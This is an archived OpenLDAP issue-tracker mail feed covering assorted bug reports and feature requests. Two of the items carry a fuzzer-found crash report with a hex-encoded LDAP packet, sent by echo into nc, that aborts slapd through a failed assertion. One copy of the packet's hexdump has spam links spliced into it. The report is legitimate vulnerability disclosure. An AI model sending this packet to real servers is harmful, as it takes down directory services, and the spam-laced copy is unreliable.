connection.c:1163 #14 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xb) at connection.c:1314 #15 0x00005555556711e4 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #16 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 --Type <RET> for more, q to quit, c to continue without paging-- #17 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: 1. Launch openldap (Current public repo) docker run -it --net=host bitnami/openldap (More recent develop) docker run -it --net=host phasip/openldap 2. Send crashing packet echo -en '\x30\x82\x01\x6a\x02\x01\x30\x63\x30\xdf\xdf\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x00\x30\x09\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x2e\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\xa9\x30\x81\x09\x32\x2e\x35\x2e\x31\x33\x2e\x33\x38\x83\x2e\x7b\x20\x20\x20\x20\x74\x68\x69\x73\x55\x70\x64\x61\x74\x65\x20\x20\x20\x20\x20\x22\x22\x20\x2c\x69\x73\x73\x75\x45\x72\x20\x72\x64\x6e\x53\x65\x71\x75\x65\x6e\x63\x65\x3a\x22\x22\x7d\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | nc localhost 1389 -- Note -- I had forgotten the fuzzer was running. As only one crash has been found in a while the fuzzing machine will retire now. I will collect the corpus into https://github.com/Phasip/openldap_fuzz -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 6205] Discuss slapadd -S in Admin guide appendix
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6205 --- Comment #4 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- malicious packet can force OpenLDAP to fail an assertion and crash slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Packet: 00000000: 3082 016a http://www-look-4.com/ 0201 3063 30df df30 0030 0030 0..j..0c0..0.0.0 00000010: 0030 0030 0030 00a0 8201 3030 0030 0930 .0.0.0....00.0.0 00000020: 3030 3030 3030 3030 302e 3030 3030 3030 000000000.000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 3030 3030 3030 3030 http://www.compilatori.com/ 3030 3030 3030 3030 0000000000000000 00000050: 3030 3030 3030 3030 a930 8109 322e 352e 00000000.0..2.5. 00000060: 3133 2e33 3883 2e7b 2020 2020 7468 6973 13.38..{ this 00000070: 5570 6461 7465 2020 http://www.wearelondonmade.com/ 2020 2022 2220 2c69 Update "" ,i 00000080: 7373 7545 7220 7264 6e53 6571 7565 6e63 ssuEr rdnSequenc 00000090: 653a 2222 7d30 3030 3030 3030 3030 3030 e:""}00000000000 000000a0: 3030 3030 3030 3030 http://www.jopspeech.com/ 3030 3030 3030 3030 0000000000000000 000000b0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000c0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000d0: 3030 3030 3030 3030 http://joerg.li/ 3030 3030 3030 3030 0000000000000000 000000e0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000f0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000100: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000110: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000120: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000130: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000140: 3030 3030 3030 3030 http://connstr.net/ 3030 3030 3030 3030 0000000000000000 00000150: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000160: 3030 3030 3030 3030 3030 3030 3030 00000000000000 GDB output: http://embermanchester.uk/ [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 601e59e1 @(#) $OpenLDAP: slapd 2.X (Feb 6 2021 08:48:29) $ @3790967905a3:/openldap/servers/slapd 601e59e1 slapd starting [New Thread 0x7fff8b2d3700 (LWP 13)] [New Thread 0x7fff8aad2700 (LWP 14)] http://www.slipstone.co.uk/ 601e59e6 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:42330 (IP=0.0.0.0:1389) [New Thread 0x7fff8a2d1700 (LWP 15)] 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. http://www.logoarts.co.uk/ Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fff8aad2700 (LWP 14)] __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt http://www.acpirateradio.co.uk/ #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff7dd4859 in __GI_abort () at abort.c:79 #2 0x00007ffff7dd4729 in __assert_fail_base ( fmt=0x7ffff7f6a588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x55555568d363 "!BER_BVISEMPTY( in )", file=0x55555568d2f3 "schema_init.c", line=3808, function=<optimized out>) at assert.c:92 #3 0x00007ffff7de5f36 in __GI___assert_fail ( https://waytowhatsnext.com/ assertion=assertion@entry=0x55555568d363 "!BER_BVISEMPTY( in )", file=file@entry=0x55555568d2f3 "schema_init.c", line=line@entry=3808, function=function@entry=0x5555556908f0 <__PRETTY_FUNCTION__.14047> "checkTime") at assert.c:101 #4 0x00005555555bac61 in checkTime (in=in@entry=0x7fff8aad06f0, out=out@entry=0x0) at schema_init.c:3808 #5 0x00005555555bcd1a in issuerAndThisUpdatePretty (syntax=0x555555784150, in=0x7fff8aad0800, out=0x7fff8aad0770, ctx=0x7fff7c001630) at schema_init.c:4095 https://www.webb-dev.co.uk/ #6 0x000055555559df4d in asserted_value_validate_normalize (ad=0x0, mr=0x555555789e50, usage=usage@entry=2049, in=in@entry=0x7fff8aad0800, out=out@entry=0x7fff8aad0828, text=text@entry=0x7fff8aad1aa0, ctx=0x7fff7c001630) at value.c:153 #7 0x00005555555d3a94 in get_mra (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad08c0, --Type <RET> for more, q to quit, c to continue without paging-- text=text@entry=0x7fff8aad1aa0) at mra.c:198 #8 0x0000555555587543 in get_filter0 (op=op@entry=0x7fff7c0010f0, http://www.iu-bloomington.com/ ber=ber@entry=0x7fff7c000f10, filt=filt@entry=0x7fff7c0016e8, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:290 #9 0x0000555555587793 in get_filter_list (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad0988, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:354 #10 0x000055555558731e in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=0x7fff7c000f10, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=0) at filter.c:235 #11 0x00005555555880b6 in get_filter (op=op@entry=0x7fff7c0010f0, ber=<optimized out>, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0) at filter.c:332 #12 0x0000555555585396 in do_search (op=0x7fff7c0010f0, rs=0x7fff8aad1a80) at search.c:127 #13 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c0010f0) at connection.c:1163 #14 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xb) at connection.c:1314 #15 0x00005555556711e4 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #16 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 --Type <RET> for more, q to quit, c to continue without paging-- #17 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: 1. Launch openldap (Current public repo) docker run -it --net=host bitnami/openldap (More recent develop) docker run -it --net=host phasip/openldap 2. Send crashing packet echo -en '\x30\x82\x01\x6a\x02\x01\x30\x63\x30\xdf\xdf\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x00\x30\x09\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x2e\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\xa9\x30\x81\x09\x32\x2e\x35\x2e\x31\x33\x2e\x33\x38\x83\x2e\x7b\x20\x20\x20\x20\x74\x68\x69\x73\x55\x70\x64\x61\x74\x65\x20\x20\x20\x20\x20\x22\x22\x20\x2c\x69\x73\x73\x75\x45\x72\x20\x72\x64\x6e\x53\x65\x71\x75\x65\x6e\x63\x65\x3a\x22\x22\x7d\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8852] slapd memory use grows continuously with non-delta syncrepl and modifying groups
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8852 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Keywords|reviewed | -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8757] RFE: let slapd MMR instances vote primary master
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8757 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Keywords|reviewed | -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8748] New feature for LMDB
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8748 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Keywords|lmdb-scratch | -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6010] substitution for acl sets
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6010 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Keywords|OL_2_6_REQ | -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9672] New: Permit static linking with libsasl2
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9672 Issue ID: 9672 Summary: Permit static linking with libsasl2 Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: dpa-openldap(a)aegee.org Target Milestone: --- Created attachment 838 --> https://bugs.openldap.org/attachment.cgi?id=838&action=edit pkg-config + libsasl2 = ♥ I want to link slapd statically. First I link openssl and libsasl2 statically. The static libsasl2 bundles all SASL plugins, and linking towards it must be done (in my case) with -lcrypto. The check in configure.ac: ``` AC_CHECK_LIB(sasl2, sasl_client_init, [ol_link_sasl="-lsasl2"], [AC_CHECK_LIB(sasl, sasl_client_init, [ol_link_sasl="-lsasl"])]) ``` fails, since -lcrypto is not passed during linking with the static -lsasl2 . `pkg-config --statit libsasl2 --libs` knows how to link statically with libsasl2 and it knows, whether libsasl2 is installed. The applied patch does linking/preprocessing of libsasl2 by utilizing pkg-config, when available. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

[Issue 9676] New: slapadd -n0 does need -F parameter, despite the documentation
by openldap-its＠openldap.org 10 Sep '21

10 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9676 Issue ID: 9676 Summary: slapadd -n0 does need -F parameter, despite the documentation Product: OpenLDAP Version: 2.5.7 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: dpa-openldap(a)aegee.org Target Milestone: --- My reading of the documentation of slapadd is, that when `slapadd -n0 -linit0.ldif` is called, and the default config directory exists, and is empty, sladadd will create the cn=config database in the default config directory. ``` -F confdir specify a config directory. If both -f and -F are specified, the config file will be read and converted to config directory format and written to the specified directory. If neither option is specified, an attempt to read the default config directory will be made before trying to use the default config file. If a valid config directory exists then the default config file is ignored. If dry-run mode is also specified, no conversion will occur. ``` My default config directory is "/data/config" ( CFLAGS="-DSLAPD_DEFAULT_CONFIGDIR='\"/data/config\"' ) calling strace slapadd -n0 -linit0.ldif prints: [pid 573949] newfstatat(AT_FDCWD, "/data/config", <unfinished ...> [pid 573949] <... newfstatat resumed>{st_mode=S_IFDIR|0755, st_size=4096, ...}, 0) = 0 [pid 573949] mmap(NULL, 1052672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 <unfinished ...> [pid 573949] <... mmap resumed>) = 0x7f050183a000 [pid 573949] gettimeofday( <unfinished ...> [pid 573949] <... gettimeofday resumed>{tv_sec=1631220679, tv_usec=401535}, NULL) = 0 [pid 573949] openat(AT_FDCWD, "/data/config/cn=config.ldif", O_RDONLY <unfinished ...> [pid 573949] <... openat resumed>) = -1 ENOENT (No such file or directory) [pid 573949] munmap(0x7f050183a000, 1052672 <unfinished ...> [pid 573949] <... munmap resumed>) = 0 [pid 573949] newfstatat(AT_FDCWD, "//etc/openldap/slapd.conf", <unfinished ...> [pid 573949] <... newfstatat resumed>0x7ffda7228410, 0) = -1 ENOENT (No such file or directory) [pid 573949] write(2, "slapadd: bad configuration file!\n", 33 <unfinished ...> So it fails. If I call instead slapadd -n0 -linit0.ldif -F/data/config the output is [pid 575257] openat(AT_FDCWD, "/home/d/data/config", O_RDONLY|O_CLOEXEC <unfinished ...> [pid 575257] <... openat resumed>) = 12 [pid 575257] epoll_ctl(4, EPOLL_CTL_ADD, 12, {events=EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, data={u32=740160072, u64=139733206168136}} <unfinished ...> [pid 575257] <... epoll_ctl resumed>) = -1 EPERM (Operation not permitted) [pid 575257] epoll_ctl(4, EPOLL_CTL_DEL, 12, 0xc0005a1b34 <unfinished ...> [pid 575257] <... epoll_ctl resumed>) = -1 EPERM (Operation not permitted) [pid 575257] getdents64(12, <unfinished ...> [pid 575257] <... getdents64 resumed>0xc000710000 /* 2 entries */, 8192) = 48 [pid 575257] getdents64(12, <unfinished ...> [pid 575257] <... getdents64 resumed>0xc000710000 /* 0 entries */, 8192) = 0 [pid 575257] close(12 <unfinished ...> [pid 575257] <... close resumed>) = 0 … and data/config is filled with content -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 6949] OpenLDAP Logging
by openldap-its＠openldap.org 08 Sep '21

08 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6949 --- Comment #10 from Quanah Gibson-Mount <quanah(a)openldap.org> --- RE26: Commits: • eedd08fd by Ondřej Kuzník at 2021-09-08T18:30:16+00:00 ITS#6949 Extract logging code so lloadd can also use it • a40243d9 by Ondřej Kuzník at 2021-09-08T18:30:20+00:00 ITS#6949 Save errno • ae268711 by Ondřej Kuzník at 2021-09-08T18:30:27+00:00 ITS#6949 Allow for fd 0 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6949] OpenLDAP Logging
by openldap-its＠openldap.org 08 Sep '21

08 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6949 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Resolution|--- |TEST Status|CONFIRMED |RESOLVED --- Comment #9 from Quanah Gibson-Mount <quanah(a)openldap.org> --- Commits: • 2abbf678 by Ondřej Kuzník at 2021-09-08T15:53:02+00:00 ITS#6949 Extract logging code so lloadd can also use it • dc6b6276 by Ondřej Kuzník at 2021-09-08T15:53:02+00:00 ITS#6949 Save errno • c2b81a3c by Ondřej Kuzník at 2021-09-08T15:53:02+00:00 ITS#6949 Allow for fd 0 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 5540] Normalization assertion in attr.c
by openldap-its＠openldap.org 08 Sep '21

08 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=5540 Ondřej Kuzník <ondra(a)mistotebe.net> changed: What |Removed |Added ---------------------------------------------------------------------------- See Also| |https://bugs.openldap.org/s | |how_bug.cgi?id=9664 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8341] Matching rules for 'namingContexts'
by openldap-its＠openldap.org 08 Sep '21

08 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8341 Ondřej Kuzník <ondra(a)mistotebe.net> changed: What |Removed |Added ---------------------------------------------------------------------------- See Also| |https://bugs.openldap.org/s | |how_bug.cgi?id=9664 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6949] OpenLDAP Logging
by openldap-its＠openldap.org 07 Sep '21

07 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6949 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Resolution|TEST |--- Status|RESOLVED |CONFIRMED --- Comment #8 from Quanah Gibson-Mount <quanah(a)openldap.org> --- Need code to be shared between slapd and loadbalancer -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9665] New: wrong indentation in ldap_int_bisect_find
by openldap-its＠openldap.org 07 Sep '21

07 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9665 Issue ID: 9665 Summary: wrong indentation in ldap_int_bisect_find Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: roland.illig(a)gmx.de Target Milestone: --- In abandon.c, ldap_int_bisect_find has an incorrectly indented if statement. I stumbled upon this due to a lint warning and immediately wondered who forgot to format the code again, probably after removing a redundant outer if statement or loop. The wrong indentation was introduced by https://git.openldap.org/openldap/openldap/-/commit/2660518c5d924b2b6377a87… in 2008. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 9663] New: Compilation problems: Perl backend
by openldap-its＠openldap.org 06 Sep '21

06 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9663 Issue ID: 9663 Summary: Compilation problems: Perl backend Product: OpenLDAP Version: 2.5.6 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: jb00356987(a)techmahindra.com Target Milestone: --- Dears, I try to compile 2.5.6 version with --enable-perl module but I get issue as following : first I get : In file included from init.c:18: perl_back.h:21:10: fatal error: EXTERN.h: No such file or directory #include <EXTERN.h> ^~~~~~~~~~ compilation terminated. make[3]: *** [Makefile:334: init.lo] Error 1 I had to install a missing rehl package (perl-devel.x86_64) and set the CPPFLAGS of the "configure utility" to the path of these header files. I did run "make clean" and restart the full comilation process then "make" goes futher but now I get a lot of entries as below then it stopped : /usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:50: undefined reference to `Perl_pop_scope' /usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:48: undefined reference to `Perl_sv_2iv_flags' /usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:50: undefined reference to `Perl_free_tmps' /usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:36: undefined reference to `Perl_stack_grow' /usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:34: undefined reference to `Perl_markstack_grow' /usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:35: undefined reference to `Perl_stack_grow' /usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:45: undefined reference to `Perl_croak_nocontext' /usr/app/LDAP/binaries/openldap-2.5.6/servers/slapd/back-perl/delete.c:28: undefined reference to `Perl_croak_nocontext' collect2: error: ld returned 1 exit status make[2]: *** [Makefile:527: slapd] Error 1 Any idea of what's the issue ? Configure used : ./configure --enable-modules --enable-ldap --enable-dynlist --enable-ppolicy --enable-unique --with-gnu-ld --enable-refint --with-tls --enable-dynamic --enable-valsort --enable-perl --enable-rwm Thx, Jean-Luc. -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 9662] New: Error while adding user/group in openldap
by openldap-its＠openldap.org 02 Sep '21

02 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9662 Issue ID: 9662 Summary: Error while adding user/group in openldap Product: OpenLDAP Version: 2.4.56 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: is3871(a)att.com Target Milestone: --- Created attachment 837 --> https://bugs.openldap.org/attachment.cgi?id=837&action=edit Error details Error while adding user/group in openldap adding new entry "dc=ajp,dc=att,dc=com" ldap_add: Server is unwilling to perform (53) additional info: no global superior knowledge -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 8375] paged results control results in full db search?
by openldap-its＠openldap.org 02 Sep '21

02 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8375 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Keywords|needs_review | Target Milestone|2.7.0 |2.6.1 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8255] slapd-sock: response parsing in str2result() is broken
by openldap-its＠openldap.org 02 Sep '21

02 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8255 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Target Milestone|2.7.0 |2.6.1 -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9651] New: Add some kind of rate limiting option to ldapmodify
by openldap-its＠openldap.org 02 Sep '21

02 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9651 Issue ID: 9651 Summary: Add some kind of rate limiting option to ldapmodify Product: OpenLDAP Version: 2.5.6 Hardware: All OS: All Status: UNCONFIRMED Severity: enhancement Priority: --- Component: client tools Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- When using ldapmodify to replay a testing workload it would be useful to be able to specify a request rate, instead of just performing multiple operations in immediate succession. As a simpler alternative, just being able to specify a time interval between operations would be helpful. As an even greater future enhancement, it would be nice to have an option to replay an accesslog.ldif directly, using its embedded timestamps to control the time interval between operations. Currently this isn't feasible since reqstart timestamps only have 1-second granularity, the fraction part is a linear counter and not a microsecond value. The reqStart fraction would need to be extended to 9 decimal places with full nanosecond resolution in order to be usable as actual fractional time. We already know that microsecond resolution is insufficient to avoid frequent collisions. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

[Issue 9661] New: How to monitor an LDMB file for being pretty full
by openldap-its＠openldap.org 02 Sep '21

02 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9661 Issue ID: 9661 Summary: How to monitor an LDMB file for being pretty full Product: LMDB Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: dpa-openldap(a)aegee.org Target Milestone: --- https://ltb-project.org/documentation/nagios-plugins/check_lmdb_usage provides a Nagios plugin, to check how full/free a LMDB database is. It calls mbd_stat -ef, and parses from the output the numbers in the “Max pages:”, “Number of pages used:”, and “Free pages:” lines. With these numbers it calculates “the percent of used pages” or “the percent of free pages” and signals the status with return values 0 -OK, 1 - warning, or 2 - critical . The disadvantage of check_lmdb_usage is, that it requires perl. Do you recommend to monitor the absolute number of free pages, the relative number of free pages, the absolute number of used pager, or the relative number of used pages? Please extend mdb_stat to be suitable for monitoring the fullness of a LMDB directory - accept parameters of for a warning and critical threshold, and a parameter on how to calculate the criterion (A - based on absolute number of free pages, B - relative number of free pages, C - absolute number of used pages, or D - relative number of used pages). -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 8375] paged results control results in full db search?
by openldap-its＠openldap.org 01 Sep '21

01 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8375 --- Comment #7 from geert.hendrickx(a)telenetgroup.be <geert.hendrickx(a)telenetgroup.be> --- I can reproduce it on any sufficiently large db, both tree-structured or flat, given the right search scope. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8375] paged results control results in full db search?
by openldap-its＠openldap.org 01 Sep '21

01 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8375 Quanah Gibson-Mount <quanah(a)openldap.org> changed: What |Removed |Added ---------------------------------------------------------------------------- Keywords| |needs_review --- Comment #6 from Quanah Gibson-Mount <quanah(a)openldap.org> --- I'll put needs review on it though so we can discuss. ;) -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8375] paged results control results in full db search?
by openldap-its＠openldap.org 01 Sep '21

01 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8375 --- Comment #5 from Quanah Gibson-Mount <quanah(a)openldap.org> --- (In reply to geert.hendrickx(a)telenetgroup.be from comment #4) > Hi > > I can reproduce exactly the same behaviour with OpenLDAP 2.5.7, on a freshly > slapadd'ed mdb. Target milestone for the fix is 2.7.0, so that's expected. ;) -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8375] paged results control results in full db search?
by openldap-its＠openldap.org 01 Sep '21

01 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8375 --- Comment #4 from geert.hendrickx(a)telenetgroup.be <geert.hendrickx(a)telenetgroup.be> --- Hi I can reproduce exactly the same behaviour with OpenLDAP 2.5.7, on a freshly slapadd'ed mdb. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9658] New: libldap fails to compile on Hurd: MAXPATHLEN undeclared
by openldap-its＠openldap.org 01 Sep '21

01 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9658 Issue ID: 9658 Summary: libldap fails to compile on Hurd: MAXPATHLEN undeclared Product: OpenLDAP Version: 2.5.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: ryan(a)openldap.org Target Milestone: --- OpenLDAP 2.5 and later fails to compile on GNU/Hurd: libtool: compile: cc -g -O2 -I../../include -I../../include -DLDAP_LIBRARY -c request.c -fPIC -DPIC -o .libs/request.o In file included from ldap-int.h:119, from request.c:53: request.c: In function 'ldap_dump_connection': ../../include/ldap_pvt.h:181:25: error: 'MAXPATHLEN' undeclared (first use in this function) 181 | #define LDAP_IPADDRLEN (MAXPATHLEN + sizeof("PATH=")) | ^~~~~~~~~~ request.c:859:17: note: in expansion of macro 'LDAP_IPADDRLEN' 859 | char from[LDAP_IPADDRLEN]; | ^~~~~~~~~~~~~~ ../../include/ldap_pvt.h:181:25: note: each undeclared identifier is reported only once for each function it appears in 181 | #define 